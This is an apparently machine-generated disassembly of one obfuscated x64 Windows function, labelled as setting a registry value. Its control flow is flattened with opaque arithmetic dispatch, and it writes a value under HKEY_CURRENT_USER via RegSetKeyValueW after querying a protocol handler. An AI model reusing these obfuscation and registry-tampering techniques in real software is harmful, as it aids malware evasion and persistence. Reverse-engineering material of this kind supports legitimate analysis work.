Function at 0x14007c05d
Capabilities:
Set registry value

Disassembly:
push rax
pushf
mov eax, 0xcd9f1df
pushf
not eax
add eax, 0x335c83be
xor eax, 0x46f422bb
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x170cab4f
xor eax, 0x2a3e32da
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x337f6834
xor eax, 0x10099bca
rol eax, 0xa
popf
cmp eax, 0xc
jne 0x14007c0ad
popf
pop rax
jmp 0x14007c981
cmp eax, 0xd
jne 0x14007c0bc
popf
pop rax
jmp 0x14007ca29
cmp eax, 0
jne 0x14007c0cb
popf
pop rax
jmp 0x14007c233
cmp eax, 0xf
jne 0x14007c0da
popf
pop rax
jmp 0x14007cbda
cmp eax, 3
jne 0x14007c0e9
popf
pop rax
jmp 0x14007c450
cmp eax, 1
jne 0x14007c0f8
popf
pop rax
jmp 0x14007c2de
cmp eax, 0x11
jne 0x14007c107
popf
pop rax
jmp 0x14007cccc
cmp eax, 0x13
jne 0x14007c116
popf
pop rax
jmp 0x14007cd8b
cmp eax, 0xa
jne 0x14007c125
popf
pop rax
jmp 0x14007c898
cmp eax, 2
jne 0x14007c134
popf
pop rax
jmp 0x14007c3bb
cmp eax, 0x10
jne 0x14007c143
popf
pop rax
jmp 0x14007cc6b
cmp eax, 0x1a
jne 0x14007c152
popf
pop rax
jmp 0x14007d103
cmp eax, 7
jne 0x14007c161
popf
pop rax
jmp 0x14007c6c5
cmp eax, 0x16
jne 0x14007c170
popf
pop rax
jmp 0x14007cf55
cmp eax, 9
jne 0x14007c17f
popf
pop rax
jmp 0x14007c7dd
cmp eax, 6
jne 0x14007c18e
popf
pop rax
jmp 0x14007c644
cmp eax, 0x17
jne 0x14007c19d
popf
pop rax
jmp 0x14007cfa6
cmp eax, 0xb
jne 0x14007c1ac
popf
pop rax
jmp 0x14007c8da
cmp eax, 8
jne 0x14007c1bb
popf
pop rax
jmp 0x14007c726
cmp eax, 0x12
jne 0x14007c1ca
popf
pop rax
jmp 0x14007cd0a
cmp eax, 0x15
jne 0x14007c1d9
popf
pop rax
jmp 0x14007cf04
cmp eax, 0xe
jne 0x14007c1e8
popf
pop rax
jmp 0x14007cb1f
cmp eax, 5
jne 0x14007c1f7
popf
pop rax
jmp 0x14007c5ab
cmp eax, 0x18
jne 0x14007c206
popf
pop rax
jmp 0x14007d00a
cmp eax, 0x14
jne 0x14007c215
popf
pop rax
jmp 0x14007cde7
cmp eax, 0x19
jne 0x14007c224
popf
pop rax
jmp 0x14007d09f
cmp eax, 4
jne 0x14007c233
popf
pop rax
jmp 0x14007c52a
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
xor esi, esi
lea r8, [rbp - 0x10]
lea rdx, [0x18adc15de]
pushf
sub rdx, 0x4ada4c5e
popf
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x20], rsi
mov rbx, rcx
jmp 0x14007c26a
call qword [sym.imp.SHELL32.dll_SHAssocEnumHandlersForProtocolByApplication]
test eax, eax
js 0x14007c2ab
push rax
pushf
mov eax, 0xed77d877
pushf
not eax
add eax, 0x47268475
xor eax, 0x594554cc
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x28f23b77
xor eax, 0x2935fb3c
rol eax, 0x8c
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x28ebf84e
pushf
not eax
add eax, 0x54f01bf2
xor eax, 0x2877ea21
rol eax, 0xf
popf
pushf
not eax
add eax, 0x60a4d61b
xor eax, 0x7b33d3e1
rol eax, 0xad
popf
jmp 0x14007c09e
mov rcx, qword [rbp - 0x10]
lea r9, [rbp + 0x28]
mov dword [rbp + 0x28], esi
lea r8, [rbp - 0x18]
mov qword [rbp - 0x18], rsi
mov edx, 0xe8c962fa
pushf
not edx
add edx, 0x56187abb
xor edx, 0x7538e381
rol edx, 0xf1
popf
pushf
not edx
add edx, 0x1bd65081
xor edx, 0x33549f91
rol edx, 0xb1
popf
mov rax, qword [rcx]
jmp 0x14007c324
call qword [rax + 0x18]
test eax, eax
js 0x14007c375
push rax
pushf
mov eax, 0x4ceb1847
pushf
not eax
add eax, 0x60aafbd8
xor eax, 0x469eb2af
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x40838e70
xor eax, 0x2ed9bddf
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x50951173
xor eax, 0x793fd362
rol eax, 0xd3
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0xab28c45
pushf
not eax
add eax, 0x144dfa90
xor eax, 0x500f778a
rol eax, 0x74
popf
pushf
not eax
add eax, 0x61b3ba04
xor eax, 0x488d6289
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x4bf8ddc2
xor eax, 0x2873559
rol eax, 0xb9
popf
jmp 0x14007c09e
cmp dword [rbp + 0x28], esi
je 0x14007c41d
push rax
pushf
mov eax, 0xbfd001b0
pushf
not eax
add eax, 0x340f0373
xor eax, 0x601fbe55
rol eax, 0x99
popf
pushf
not eax
add eax, 0x1ce32bd9
xor eax, 0x75d46ace
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x523d2526
xor eax, 0x4f661873
rol eax, 0x95
popf
pushf
not eax
add eax, 0x124934b4
xor eax, 0x2e9161ca
rol eax, 0x4e
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0xc9df1182
pushf
not eax
add eax, 0x4ed4e910
xor eax, 0x310802f4
rol eax, 0xca
popf
pushf
not eax
add eax, 0x66e5dcd5
xor eax, 0x768ff5fd
rol eax, 0x88
popf
jmp 0x14007c09e
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x20]
lea rdx, [0x181ce019f]
pushf
sub rdx, 0x41cc382f
popf
mov rax, qword [rcx]
jmp 0x14007c46e
call qword [rax]
test eax, eax
js 0x14007c4d1
push rax
pushf
mov eax, 0x460b37ed
pushf
not eax
add eax, 0x2cbbba4b
xor eax, 0x39e01215
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x276f0260
xor eax, 0x66fe03b5
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x553cfe59
xor eax, 0x5a7e1fbd
rol eax, 4
popf
pushf
not eax
add eax, 0x5f32f057
xor eax, 0x1f7de5e2
rol eax, 9
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x64df3373
pushf
not eax
add eax, 0x2ae89039
xor eax, 0x4bbdcd33
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x7c05341e
xor eax, 0xef4f81
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x1ec08c14
xor eax, 0x6d1bb61c
rol eax, 0x15
popf
pushf
not eax
add eax, 0x7f2946a8
xor eax, 0x6ff051ec
rol eax, 0x4b
popf
jmp 0x14007c09e
mov rcx, qword [rbp - 0x20]
lea rdx, [rbp + 0x38]
mov qword [rbp + 0x38], rsi
mov rax, qword [rcx]
jmp 0x14007c53a
call qword [rax + 0x20]
test eax, eax
js 0x14007c578
push rax
pushf
mov eax, 0xf8882f0a
pushf
not eax
add eax, 0x20a8fc92
xor eax, 0x5f7cdd84
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x2328ea9d
xor eax, 0x1f28acc5
rol eax, 0x33
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x4f714dde
pushf
not eax
add eax, 0x1b31a932
xor eax, 0x59c1dd7
rol eax, 0x82
popf
pushf
not eax
add eax, 0x57e6cd56
xor eax, 0x1e75b3f2
rol eax, 0xfd
popf
jmp 0x14007c09e
mov rdx, qword [rbp + 0x38]
test rdx, rdx
je 0x14007c5eb
push rax
pushf
mov eax, 0x12744266
pushf
not eax
add eax, 0x2c0aadec
xor eax, 0x639ce18b
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x7f078f3e
xor eax, 0x79c28e00
rol eax, 0x98
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x590f5a75
pushf
not eax
add eax, 0x3a90779a
xor eax, 0x2ac22f79
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x668b19f8
xor eax, 0x6078e06e
rol eax, 0x96
popf
pushf
not eax
add eax, 0x638146b5
xor eax, 0x7ff3801f
rol eax, 0x33
popf
pushf
not eax
add eax, 0x5dddd9a2
xor eax, 0x4bc3a5c7
rol eax, 0xa1
popf
jmp 0x14007c09e
mov rax, rbx
test rbx, rbx
jne 0x14007c692
push rax
pushf
mov eax, 0x3ac7b579
pushf
not eax
add eax, 0x7f50e09d
xor eax, 0x62da72a8
rol eax, 0xae
popf
pushf
not eax
add eax, 0x615f6522
xor eax, 0xfc908ea
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x7053562
xor eax, 0x2e5e82f5
rol eax, 0x65
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0xfd38ef0e
pushf
not eax
add eax, 0x549c4372
xor eax, 0x22b95a96
rol eax, 0xba
popf
pushf
not eax
add eax, 0x31b56d0c
xor eax, 0x4bde04d0
rol eax, 0xe7
popf
jmp 0x14007c09e
mov rax, rsi
jmp 0x14007c8da
cmp word [rbx], si
je 0x14007c784
push rax
pushf
mov eax, 0xe555350f
pushf
not eax
add eax, 0x4297f173
xor eax, 0x3d790913
rol eax, 0xa
popf
pushf
not eax
add eax, 0x25451b51
xor eax, 0x7e2e1c41
rol eax, 0xef
popf
pushf
not eax
add eax, 0x1b3c7c07
xor eax, 0xa4fb8b2
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x6a355d12
xor eax, 0x44a6413c
rol eax, 0x88
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x8b38b38d
pushf
not eax
add eax, 0x7e6ffa38
xor eax, 0xc644d17
rol eax, 0xad
popf
pushf
not eax
add eax, 0x3c890f91
xor eax, 0x6503b75b
rol eax, 0x93
popf
pushf
not eax
add eax, 0x74eec68b
xor eax, 0x4080d3dc
rol eax, 0x80
popf
pushf
not eax
add eax, 0x19711ed0
xor eax, 0x297118a0
rol eax, 0xaa
popf
jmp 0x14007c09e
add rax, 2
cmp word [rax], si
jne 0x14007c83f
push rax
pushf
mov eax, 0x8ec31ccb
pushf
not eax
add eax, 0x17029798
xor eax, 0xcb636e9
rol eax, 0x73
popf
pushf
not eax
add eax, 0x17cf5d95
xor eax, 0x3f0db8f
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x2d6ef7b9
xor eax, 0x729e7ff
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x263d674d
xor eax, 0x2971999b
rol eax, 0x1a
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0xfc0d8499
pushf
not eax
add eax, 0x3fa5704c
xor eax, 0x1eed5e6c
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x6f33b299
xor eax, 0x617e9aef
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x461ddb66
xor eax, 0x7d2a8731
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x43c78a6d
xor eax, 0x3a42906d
rol eax, 0x1d
popf
jmp 0x14007c09e
push rbx
not rbx
add rax, rbx
pop rbx
add rax, 1
sar rax, 1
push rax
pushf
mov eax, 0x42fccd9a
pushf
not eax
add eax, 0x325557ab
xor eax, 0x489b69bc
rol eax, 0xea
popf
pushf
not eax
add eax, 0x29efae56
xor eax, 0x7a60fbb7
rol eax, 0xe3
popf
jmp 0x14007c09e
mov rcx, rdx
cmp word [rdx], si
je 0x14007c928
push rax
pushf
mov eax, 0x2b4a0900
pushf
not eax
add eax, 0x4120e190
xor eax, 0x2d5bd2ae
rol eax, 0x87
popf
pushf
not eax
add eax, 0x50a0b005
xor eax, 0x37d603a0
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x42254ff6
xor eax, 0xa6b9c5c
rol eax, 0xa6
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x1c0b78e2
pushf
not eax
add eax, 0x1cc32c4
xor eax, 0x35a6f605
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x4f1305d7
xor eax, 0x13618c7f
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xf6a97ad
xor eax, 0x57315711
rol eax, 0x35
popf
pushf
not eax
add eax, 0x1c21ee1
xor eax, 0x6de41bbb
rol eax, 0xce
popf
jmp 0x14007c09e
add rcx, 2
cmp word [rcx], si
jne 0x14007c9e3
push rax
pushf
mov eax, 0x1e446a8c
pushf
not eax
add eax, 0x1bc1305f
xor eax, 0x59bae42f
rol eax, 0x80
popf
pushf
not eax
add eax, 0x58cd882
xor eax, 0x486c5549
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x163f2c05
xor eax, 0x7162ef01
rol eax, 0xac
popf
pushf
not eax
add eax, 0x6462c293
xor eax, 0x55fb10fc
rol eax, 0xc8
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x83b2fd86
pushf
not eax
add eax, 0x4af78df6
xor eax, 0x5f4a1407
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x2e6478f0
xor eax, 0x94a2cbd
rol eax, 0x76
popf
pushf
not eax
add eax, 0x2d89a31
xor eax, 0x425293ce
rol eax, 0xf9
popf
jmp 0x14007c09e
push rdx
not rdx
add rcx, rdx
pop rdx
add rcx, 1
mov edx, 0xec73c9ea
pushf
not edx
add edx, 0x1879e8d9
xor edx, 0x41ff88cb
rol edx, 0x3a
popf
pushf
not edx
add edx, 0x1533e1e1
xor edx, 0x2cbad27e
rol edx, 0xeb
popf
pushf
not edx
add edx, 0x7e63855d
xor edx, 0x751bd2be
rol edx, 0xf0
popf
sar rcx, 1
lea r8, [rcx + rax]
mov rcx, qword [0x14002fa90]
lea r8, [r8*2 + 8]
mov rcx, qword [rcx + 0x18]
jmp 0x14007ca94
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x14007cad9
push rax
pushf
mov eax, 0x91c4b03e
pushf
not eax
add eax, 0xc5f7828
xor eax, 0x6d05f22c
rol eax, 0x15
popf
pushf
not eax
add eax, 0x1d365ff9
xor eax, 0x64936c2a
rol eax, 0xde
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x91b3357
pushf
not eax
add eax, 0x662ca1ff
xor eax, 0x13c7523a
rol eax, 0x79
popf
pushf
not eax
add eax, 0x3c41dbf3
xor eax, 0x4bba6e0c
rol eax, 0xe4
popf
pushf
not eax
add eax, 0x138cd47
xor eax, 0x1f54b5f7
rol eax, 0x42
popf
jmp 0x14007c09e
mov rcx, qword [rbp + 0x38]
test rcx, rcx
je 0x14007cb81
push rax
pushf
mov eax, 0x350fe4dc
pushf
not eax
add eax, 0x6b19b8ba
xor eax, 0x723736ee
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x57130cc4
xor eax, 0x51f5c4fe
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xfdbf8ed
xor eax, 0x3d854e3c
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x2653375b
xor eax, 0x7ad4814c
rol eax, 5
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x4dc4a4b4
pushf
not eax
add eax, 0x7bea5107
xor eax, 0x7df69dd3
rol eax, 0x17
popf
pushf
not eax
add eax, 0x732c68c
xor eax, 0x129941c2
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x2bed7cb6
xor eax, 0xe57c887
rol eax, 0x61
popf
pushf
not eax
add eax, 0x34e7706e
xor eax, 0x5e2870a8
rol eax, 0xd
popf
jmp 0x14007c09e
cmp rax, rcx
je 0x14007cc38
push rax
pushf
mov eax, 0xc1aeabfc
pushf
not eax
add eax, 0x5bf0ad2c
xor eax, 0x34852fb9
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x59ebe02e
xor eax, 0x7af6ae06
rol eax, 0x19
popf
pushf
not eax
add eax, 0x6264236d
xor eax, 0x5b3177b4
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x29cfefc1
xor eax, 0xabea27f
rol eax, 0x93
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0xf621eb81
pushf
not eax
add eax, 0x54c81724
xor eax, 0x59b11449
rol eax, 0x36
popf
pushf
not eax
add eax, 0x69badcb
xor eax, 0x1fd9e7fb
rol eax, 0x28
popf
jmp 0x14007c09e
mov rdx, rax
jmp 0x14007cd0a
mov word [rdx], ax
lea rcx, [rcx + 2]
add rdx, 2
push rax
pushf
mov eax, 0xff1a98c4
pushf
not eax
add eax, 0x6ef05c27
xor eax, 0x62ead2be
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x4091cc5a
xor eax, 0x5e1e4ab2
rol eax, 0x8e
popf
jmp 0x14007c09e
movzx eax, word [rcx]
test ax, ax
jne 0x14007cd45
push rax
pushf
mov eax, 0x1de5f220
pushf
not eax
add eax, 0x1d96e841
xor eax, 0x56bffd15
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x5f27b9a7
xor eax, 0x536a1097
rol eax, 0x4d
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0xced60a96
pushf
not eax
add eax, 0x5faaeb00
xor eax, 0x42a45d6d
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x3cc761ad
xor eax, 0x69307e84
rol eax, 0xab
popf
pushf
not eax
add eax, 0x730ec916
xor eax, 0x29e282bb
rol eax, 0xad
popf
jmp 0x14007c09e
mov word [rdx], si
push rax
pushf
mov eax, 0x16a9969d
pushf
not eax
add eax, 0x24ac012c
xor eax, 0x4ea22df6
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x7815844b
xor eax, 0x2e8ade40
rol eax, 0x10
popf
pushf
not eax
add eax, 0x15bd6530
xor eax, 0x44104623
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x13d047f4
xor eax, 0x6edab133
rol eax, 0x69
popf
jmp 0x14007c09e
lea rdx, [0x1867fa601]
pushf
sub rdx, 0x467d19e1
popf
mov rcx, rdi
call fcn.1400415c6
mov rdx, rbx
mov rcx, rdi
call fcn.1400415c6
lea rax, [rbp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 0x3a02d467
pushf
not r9d
add r9d, 0x21fefc5e
xor r9d, 0x7c9a97b
rol r9d, 0xa7
popf
pushf
not r9d
add r9d, 0x5dbf53d
xor r9d, 0x3c3b3875
rol r9d, 0x65
popf
pushf
not r9d
add r9d, 0x555662e4
xor r9d, 0x6f629ba9
rol r9d, 0xf2
popf
mov qword [rsp + 0x20], rax
mov r8, rdi
mov dword [rbp + 0x30], esi
lea rdx, [0x1b39e24a1]
pushf
sub rdx, 0x739b9871
popf
mov rcx, 0xffffffff80000001
jmp 0x14007ce8e
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [0x14002fa90]
mov r8, rdi
xor edx, edx
mov rcx, qword [rcx + 0x18]
jmp 0x14007cea5
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
push rax
pushf
mov eax, 0x1cd02aef
pushf
not eax
add eax, 0x3ed92040
xor eax, 0x6a506b2a
rol eax, 0x69
popf
pushf
not eax
add eax, 0xf067c56
xor eax, 0x6b4bab35
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x6dc9e096
xor eax, 0x2cc3b070
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x171dd5e
xor eax, 0x1de3690a
rol eax, 0x91
popf
jmp 0x14007c09e
mov rcx, qword [rbp + 0x38]
jmp 0x14007cf09
call qword [sym.imp.ole32.dll_CoTaskMemFree]
push rax
pushf
mov eax, 0xf6cafbe9
pushf
not eax
add eax, 0x182cde48
xor eax, 0x50cddea6
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x79b28d37
xor eax, 0x21e7a1ec
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x323d9a5c
xor eax, 0x77c693d3
rol eax, 0x8b
popf
jmp 0x14007c09e
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
jmp 0x14007cf5d
call qword [rax + InitCommonControls]
push rax
pushf
mov eax, 0x6d84b688
pushf
not eax
add eax, 0x58551500
xor eax, 0x194f797c
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x50376e77
xor eax, 0x27c0e99e
rol eax, 0
popf
pushf
not eax
add eax, 0x6ec66e19
xor eax, 0x760dbefe
rol eax, 0xf7
popf
jmp 0x14007c09e
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
jmp 0x14007cfae
call qword [rax + InitCommonControls]
push rax
pushf
mov eax, 0x74d2000c
pushf
not eax
add eax, 0x735dafa0
xor eax, 0x44bf9c45
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x6772725f
xor eax, 0x7a82dda4
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x241f9ece
xor eax, 0x6189d037
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x2578e3df
xor eax, 0x2c9d19b9
rol eax, 0x61
popf
jmp 0x14007c09e
cmp dword [rbp + 0x28], esi
jne 0x14007d06c
push rax
pushf
mov eax, 0x2314cec
pushf
not eax
add eax, 0x58a01149
xor eax, 0x310a30bd
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x25db245a
xor eax, 0x5f5c12e0
rol eax, 0x18
popf
pushf
not eax
add eax, 0x132d5426
xor eax, 0x1ddcd1d8
rol eax, 0x82
popf
pushf
not eax
add eax, 0x2d66db51
xor eax, 0x809e47a
rol eax, 0xff
popf
jmp 0x14007c09e
push rax
pushf
mov eax, 0x3e2003ca
pushf
not eax
add eax, 0xc8b9818
xor eax, 0x266c4bb4
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x2742fc66
xor eax, 0x16830895
rol eax, 0x28
popf
jmp 0x14007c09e
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
jmp 0x14007d0a7
call qword [rax + InitCommonControls]
push rax
pushf
mov eax, 0xcc088de0
pushf
not eax
add eax, 0x7eff78d5
xor eax, 0x6379ba28
rol eax, 0x93
popf
pushf
not eax
add eax, 0x2e3b71ad
xor eax, 0x7972769b
rol eax, 0x57
popf
pushf
not eax
add eax, 0x560ebc87
xor eax, 0x2616ef45
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x3526ce03
xor eax, 0x528aa8dd
rol eax, 0x1f
popf
jmp 0x14007c09e
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret